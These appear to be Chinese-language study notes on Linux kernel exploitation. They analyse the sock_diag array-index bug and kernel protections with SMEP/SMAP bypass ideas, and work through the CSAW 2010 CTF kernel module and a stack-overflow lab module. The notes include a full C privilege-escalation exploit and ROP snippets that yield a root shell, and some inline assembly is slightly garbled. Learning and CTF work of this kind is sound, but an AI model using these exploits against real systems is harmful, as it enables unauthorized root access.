sock_diag_lock_handler函数在处理接受的数据时,没有根据数组边界判断大小,导致数组越界,从而导致任意代码执行。

static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
{
    int err;
    struct sock_diag_req *req = NLMSG_DATA(nlh);
    struct sock_diag_handler *hndl;

    if (nlmsg_len(nlh) < sizeof(*req))
        return -EINVAL;

    hndl = sock_diag_lock_handler(req->sdiag_family);//没有对req->sdiag_family大小做判断
    if (hndl == NULL)
        err = -ENOENT;
    else
        err = hndl->dump(skb, nlh);//任意代码执行
    sock_diag_unlock_handler(hndl);

    return err;
}
----------------------------------------------------------------------------------------------------------
static inline struct sock_diag_handler *sock_diag_lock_handler(int family)
{
    if (sock_diag_handlers[family] == NULL)
        request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,
                NETLINK_SOCK_DIAG, family);

    mutex_lock(&sock_diag_table_mutex);
    return sock_diag_handlers[family];//根绝family的值返回数组中指定的元素
}
----------------------------------------------------------------------------------------------------------
struct sock_diag_handler {
    __u8 family;
    int (*dump)(struct sk_buff *skb, struct nlmsghdr *nlh);
};

如何触发该漏洞

这个漏洞出现在sock_diag中,google的时候找到了这个页面sock_diag[1]: http://man7.org/linux/man-pages/man7/sock_diag.7.html 从描述可知,它是netlink的一种机制,关于netlink

netlink,一种特殊的socket,用于内核与用户空间进行双向的数据传输(通信)。
这也就意味着,我们在使用netlink的时候就有机会触发这个漏洞,首先需要自己构建netlink消息

构建netlink消息的数据包

netlink消息结构

首先需要nlmsghdr作为报头

nlmsghdr在linux kernel中的定义

struct nlmsghdr {
    __u32        nlmsg_len;    /* Length of message including header */
    __u16        nlmsg_type;    /* Message content */
    __u16        nlmsg_flags;    /* Additional flags */
    __u32        nlmsg_seq;    /* Sequence number */
    __u32        nlmsg_pid;    /* Sending process port ID */
};

在执行__sock_diag_rcv_msg函数之前会执行sock_diag_rcv_msg函数,通过nlmsg_type选择,相关代码

static int sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
{
    int ret;

    switch (nlh->nlmsg_type) {
    case TCPDIAG_GETSOCK:
    case DCCPDIAG_GETSOCK:
        if (inet_rcv_compat == NULL)
            request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,
                    NETLINK_SOCK_DIAG, AF_INET);

        mutex_lock(&sock_diag_table_mutex);
        if (inet_rcv_compat != NULL)
            ret = inet_rcv_compat(skb, nlh);
        else
            ret = -EOPNOTSUPP;
        mutex_unlock(&sock_diag_table_mutex);

        return ret;
    case SOCK_DIAG_BY_FAMILY:
        return __sock_diag_rcv_msg(skb, nlh);
    default:
        return -EINVAL;
    }
}

因此,nlmsg_type需要为SOCK_DIAG_BY_FAMILY才可以。

pad部分实际上是为了内存对齐
payload

利用分析

利用思路:构造msg->sdiag_family,使得sock_diag_handlers[msg->sdiag_family]的地址中相应的dump偏移的值指向用户态内存空间。exlpoit-database给出的exploit中使用了一个结构体netlink_table,该结构体中有一个成员变量nl_portid_hash,也是一个结构体,而nl_portid_hash中有一个成员变量unsigned long rehash_time的值范围:0x10000-0x130000(对应的内存地址范围为用户态),可将payload映射在0x10000-0x130000区域。

  • 利用mmap在0x10000-0x130000写入payload,利用“滑雪板”的方式,将该范围的低地址写入0x90,高地址写入payload
  • 获取内核符号信息,包括执行提权的commit_creds,prepare_kernel_cred,以及sock_diag_handlers和netlink_table的内核地址。通过计算sock_diag_handlers和netlink_table的“距离差”,计算偏移(msg->sdiag_family的值),使得越界后指向netlink_table结构体中的目标成员(dump)内存地址。
  • 向内核发送socket数据send(triger, &msg, sizeof(msg), 0),触发内核将rehash_time的值作为hndl->dump函数的入口地址,跳转到用户态部署的payload执行提权操作。

相关链接

linux kernel 保护机制介绍

由于自己还没有深入了解linux内核的保护机制,因此这篇文章长期更新。
看完muhe的linux kernel exploit的入门文章以后可以发现样例程序都是无保护措施的,最多加了一个canary保护,因此,想要深入学习还是首先要了解一下内核的保护措施

kaslr

MMAP_MIN_ADDR

mmap_min_addr是用来对抗null pointer dereference的,它不允许程序分配低内存,就像第一篇文章中的例子,空指针指向0,在其解引用时便会执行0地址处的代码。

kallsyms

前几篇文章中在写exp的时候,都会先确定commit_creds(),prepare_kernel_cred()函数的地址,/proc/kallsyms给出内核中所有symbol的地址,通过grep <function_name> /proc/kallsyms 就可以得到对应函数的地址,我们需要这个信息来写可靠的exploit,否则需要自己去泄露这个信息。在低版本的内核中所有用户都可读取其中的内容,高版本的内核中缺少权限的用户读取时会返回0.
linux kernel v2.6.32

linux kernel 4.15.0

smep/smap

smep:Supervisor Mode Execution Protection

管理模式执行保护。
保护内核使其不允许执行用户空间代码,前面的文章中,在介绍kernel stack overflow的exploit中,就是将内核栈的返回地址返回到用户空间的代码片段执行,开启smep之后,当 CPU 处于 ring0 模式时,执行 用户空间的代码 会触发页错误。
检查smep是否开启:cat /proc/cpuinfo | grep smep
smep 保护原理及绕过方法
操作系统是通过CR4寄存器的第20位的值来判断smep是否开启

  • 第20位 = 1时:smep开启
  • 第20位 = 0时:smep关闭
    可同通过mov指令给CR4寄存器赋值从而达到关闭smep的目的,相关的mov指令可以通过ropper,ROPgadget等工具查找。

smap: Supervisor Mode Access Protection

管理员模式访问保护
原理及绕过方法
操作系统是通过CR4寄存器的第21位判断的,绕过方式与smep类似

利用/proc实现内核与用户空间数据传递

本文所涉及的代码均为linux kernel v2.6.31
在分析csaw 2010 pwn

创建proc文件

linux利用create_proc_entry()函数实现proc文件的创建,函数包含三个参数:
函数原型*create_proc_entry(const char *name, mode_t mode,struct proc_dir_entry *parent);

  • name :表示文件的名字
  • mode :文件的一些属性,默认是0755
  • parent:表示文件的父目录,没有的话就是null

create_proc_entry函数的返回值

create_proc_entry函数的返回值是一个结构体

struct proc_dir_entry {
    unsigned int low_ino;
    unsigned short namelen;
    const char *name;
    mode_t mode;
    nlink_t nlink;
    uid_t uid;
    gid_t gid;
    loff_t size;
    const struct inode_operations *proc_iops;
    /*
     * NULL ->proc_fops means "PDE is going away RSN" or
     * "PDE is just created". In either case, e.g. ->read_proc won't be
     * called because it's too late or too early, respectively.
     *
     * If you're allocating ->proc_fops dynamically, save a pointer
     * somewhere.
     */
    const struct file_operations *proc_fops;
    struct proc_dir_entry *next, *parent, *subdir;
    void *data;
    read_proc_t *read_proc;
    write_proc_t *write_proc;
    atomic_t count;        /* use count */
    int pde_users;    /* number of callers into module in progress */
    spinlock_t pde_unload_lock; /* proc_fops checks and pde_users bumps */
    struct completion *pde_unload_completion;
    struct list_head pde_openers;    /* who did ->open, but not ->release */
};

里面包含了对这个文件进行读写所需要的函数:read_proc_t read_proc;write_proc_t write_proc;
这两个函数也是用户空间与内核空间进行数据交换的重点

read_proc

函数原型

typedef    int (read_proc_t)(char *page, char **start, off_t off,
              int count, int *eof, void *data);

参数分析

  • page: 在对proc文件进行读操作时,内核首先会分配一个页大小的缓冲区。
  • start : 当start参数没设置时:off参数起作用,表示文件指针偏移;当设置start以后,off参数不再起作用
  • off : 表示一段偏移,它可以通过lseek函数更改
  • count : 读取的个数
  • eof : 当eof=1时,随时可以在page中取出数据;当eof=0时,只有page填满数据时才能取出。

write_proc

typedef    int (write_proc_t)(struct file *file, const char __user *buffer,
               unsigned long count, void *data);

csaw 2010 kernel pwn

越来越发现内核知识的重要性,否则这道题理解起来还是挺困难的。想要理解这道题,还是要有proc文件系统相关知识的,想单独写在一篇文章里,

分析源码

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <asm/uaccess.h>

#define MAX_LENGTH 64

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Jon Oberheide");
MODULE_DESCRIPTION("CSAW CTF Challenge Kernel Module");

static struct proc_dir_entry *csaw_proc;

int
csaw_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
    char buf[MAX_LENGTH];

    printk(KERN_INFO "csaw: called csaw_write\n");

    /*
     * We should be safe to perform this copy from userspace since our
     * kernel is compiled with CC_STACKPROTECTOR, which includes a canary
     * on the kernel stack to protect against smashing the stack.
     *
     * While the user could easily DoS the kernel, I don't think they
     * should be able to escalate privileges without discovering the
     * secret stack canary value.
     */
    if (copy_from_user(&buf, ubuf, count)) {
        printk(KERN_INFO "csaw: error copying data from userspace\n");
        return -EFAULT;
    }

    return count;
}

int
csaw_read(char *page, char **start, off_t off, int count, int *eof, void *data)
{
    char buf[MAX_LENGTH];

    printk(KERN_INFO "csaw: called csaw_read\n");

    *eof = 1;
    memset(buf, 0, sizeof(buf));
    strcpy(buf, "Welcome to the CSAW CTF challenge. Best of luck!\n");
    memcpy(page, buf + off, MAX_LENGTH);

    return MAX_LENGTH;
}

static int __init
csaw_init(void)
{
    printk(KERN_INFO "csaw: loading module\n");

    csaw_proc = create_proc_entry("csaw", 0666, NULL);
    csaw_proc->read_proc = csaw_read;
    csaw_proc->write_proc = csaw_write;

    printk(KERN_INFO "csaw: created /proc/csaw entry\n");

    return 0;
}

static void __exit
csaw_exit(void)
{
    if (csaw_proc) {
        remove_proc_entry("csaw", csaw_proc);
    }

    printk(KERN_INFO "csaw: unloading module\n");
}

module_init(csaw_init);
module_exit(csaw_exit);

csaw_read()

memcpy(page, buf + off, MAX_LENGTH);
会把buf+一段偏移后的内容拷贝到page页面,但是拷贝的字节数总是64,因此可以通过调整偏移将canary打印出来,然后通过构造payload提权,格式如下:
junk + canary + ret(利用函数)

csaw_write

使用copy_from_user 从用户空间拷贝数据,但是没有限制个数,导致溢出

Exploit

#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
void launch_shell(void) 
{ 
    execl("/bin/sh", "sh", NULL);
}
struct fake_trap_frame{
    void *eip;
    uint32_t cs;
    uint32_t eflags;
    void *esp;
    uint32_t ss;
}__attribute__((packed));
struct fake_trap_frame fake_tf;
void prepare_tf(void){
    asm("pushl %cs;"
        "popl fake_tf+4;"
        "pushfl;"
        "popl fake_tf+8;"
    "pushl %esp;"
    "popl fake_tf+12;"
        "pushl %ss;"
    "popl fake_tf+16;");
    fake_tf.eip = &launch_shell;
    fake_tf.esp -= 1024;
}
/*
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc1069d20;
void (*commit_creds)(void*) KERNCALL = (void*) 0xc1069b80;
*/
void get_root(void){
    commit_creds(prepare_kernel_cred(0));
    asm("xor %eax,%eax;"
        "call 0xc1069d20;"
    "0xc1069b80;"
        "mov $fake_tf,%esp;"
    "iret;");
}

int main(){
    int fd = open("/proc/csaw",O_RDWR);
    if(!fd){
        printf("errorn");
        exit(1);
    }
    lseek(fd,16,SEEK_CUR);
    char buffer[64] = {0};
    read(fd,buffer,64);
    int i,j;
   // memset(buffer,0x41,64);
    for(i = 0;i<4;i++){
        for(j = 0;j<16;j++){
            printf("%02x ",buffer[i*16+j] & 0xff);
        }
        printf(" | ");
        for(j = 0;j<16;j++){
            printf("%c",buffer[i*16+j] & 0xff);
        }
        printf("\n");
    }
    char canary[4] = {0};
    memcpy(canary,buffer+32,4);
    printf("CANARY:");
    for(i = 0;i<4;i++){
        printf("%02x",canary[i] & 0xff);
    }
    printf("n");
    char exp_buf[0x60];
    memset(exp_buf,0x41,sizeof(exp_buf));
    memcpy(exp_buf+0x40,canary,4);
    *((void**)(exp_buf+0x50))=&get_root;
    prepare_tf();
    write(fd,exp_buf,sizeof(exp_buf));
    close(fd);
    return 0;
}

调试

在csaw_write下断点,找到ret地址下断点
ret

运行到ret时,查看栈顶指针对应的汇编

可以发现已经可以执行我们的payload

Kernel Stack Overflow

题目源码

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
int bug2_write(struct file *file,const char *buf,unsigned long len)
{
    char localbuf[8];
    memcpy(localbuf,buf,len);
    return len;
}
static int __init stack_smashing_init(void)
{
    printk(KERN_ALERT "stack_smashing driver init!n");
    create_proc_entry("bug2",0666,0)->write_proc = bug2_write;
    return 0;
}
static void __exit stack_smashing_exit(void)
{
    printk(KERN_ALERT "stack_smashing driver exit!n");
}
module_init(stack_smashing_init);
module_exit(stack_smashing_exit);

上一篇忘记分析create_proc_entry这个函数了
create_proc_entry函数在linux kernel 2.32.1中的函数原型
struct proc_dir_entry create_proc_entry(const char name, mode_t mode,

                 struct proc_dir_entry *parent)

name :要创建的文件名
mode :要创建的文件的属性 默认0755
parent :这个文件的父目录
它的作用就是在proc目录下创建一个文件
write_proc是结构体的一部分

struct proc_dir_entry {
    unsigned int low_ino;
    unsigned short namelen;
    const char *name;
    mode_t mode;
    nlink_t nlink;
    uid_t uid;
    gid_t gid;
    loff_t size;
    const struct inode_operations *proc_iops;
    /*
     * NULL ->proc_fops means "PDE is going away RSN" or
     * "PDE is just created". In either case, e.g. ->read_proc won't be
     * called because it's too late or too early, respectively.
     *
     * If you're allocating ->proc_fops dynamically, save a pointer
     * somewhere.
     */
    const struct file_operations *proc_fops;
    struct proc_dir_entry *next, *parent, *subdir;
    void *data;
    read_proc_t *read_proc;
    write_proc_t *write_proc;
    atomic_t count;     /* use count */
    int pde_users;  /* number of callers into module in progress */
    spinlock_t pde_unload_lock; /* proc_fops checks and pde_users bumps */
    struct completion *pde_unload_completion;
    struct list_head pde_openers;   /* who did ->open, but not ->release */
};

在userspace调用write函数就会调用bug2_write函数
在回到stack_overflow.c 可以看到在bug2_write的时候直接直接引用了memcpy函数,往一个8字节大小的空间内拷贝任意长度数据,这里可以类比userspace,在没有canary保护时,是可以直接rop的,但是这里是内核空间,跟用户空间还是有去别的,因此在rop之前需要了解下面几个东西:
int/iret:看过ret2syscall的肯定知道用户空间通过int 0x80指令进入内核空间,iret指令则相反,是从内核空间返回到用户空间
关于iret指令(出处swing大佬):
1, 当使用IRET指令返回到相同保护级别的任务时,IRET会从堆栈弹出代码段选择子及指令指针分别到CS与IP寄存器,并弹出标志寄存器内容到EFLAGS寄存器。
-2,当使用IRET指令返回到一个不同的保护级别时,IRET不仅会从堆栈弹出以上内容,还会弹出堆栈段选择子及堆栈指针分别到SS与SP寄存器。
从内核到用户空间(不同保护级别),控制流是如何恢复之前用户空间的栈空间(esp),跟寄存器的?从用户空间转到内核空间时,会在栈上保存一个结构体trap_frame(相关结构如下),从内核空间转到用户空间时,会从栈中恢复寄存器相关信息,这其中包括eip,因此只要我们能够在得到root权限后,控制eip指向一个getshell函数即可,但是 trap_frame这个结构体保存在什么位置我们是不知道的(应该是不知道的。。),因此我们只能在“生成”结构体之前更改

struct trap_frame 
{
    void* eip;                // instruction pointer +0
    uint32_t cs;            // code segment    +4
    uint32_t eflags;        // CPU flags       +8
    void* esp;                // stack pointer       +12
    uint32_t ss;            // stack segment   +16
} __attribute__((packed));

调试

qemu启动以后,在qemu窗口通过grep 0 /sys/module/stack_overflow/sections/.text 命令找到代码段地址

然后启动gdb,通过 add-symbol-file ~/kernelpwn/stack_overflow/stack_overflow.ko 0xd8815000 就能加载符号表等,方便调试

运行poc后,会在bug2_write函数处断下来,这时候我们可以找到ret指令地址,下一个断点,然后执行,可以看到此时栈顶已经是我们控制的值了(无知的改了muhe大佬的poc,结果预期值与结果不同)

构造rop

首先我们要提升权限,需要执行commit_creds(prepare_kernel_cred(0))
通过两条命令:

# grep commit_creds /proc/kallsyms   
# grep prepare_kernel_cred /proc/kallsyms 

就可以获得两个函数的地址

方法一:

void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc1069860;
void (*commit_creds)(void*) KERNCALL = (void*) 0xc10696c0;
void payload(void){
    //payload here    
    commit_creds(prepare_kernel_cred(0));
    asm("mov $tf,%esp;"
       "iret;");
}
方法二:
asm("xor %eax,%eax;"
          "call 0xc1069860;"
          "call 0xc10696c0;"
          "mov $tf,%esp;"
          "iret;"         
    );

使用gdb进行调试
直接断在bug2_write函数ret指令处

可以看到此时栈顶的值为0x08048f3e,对应如下汇编指令,就是我们的payload1

两次call指令分别调用了prepare_kernel_cred(),commit_creds()函数,在iret之前,将一个立即数给了esp,这个地址里面存的就是伪造的trap_frame结构体

第一个值0x08048ee0就是getshell函数的地址

就这样完成了提权+getshell
???
一开始有一个疑问,我们可不可以不伪造trap_frame结构体,让内核自己去iret返回放到userspace。这里是不行的,因为一处以后内核栈就已经被破坏了,需要我们自己返回。 这种方式在现在操作系统里因为smep的存在已经不能实现了,smep的原理就是不允许内核空间执行用户空间代码,唉,继续加油!!!

preView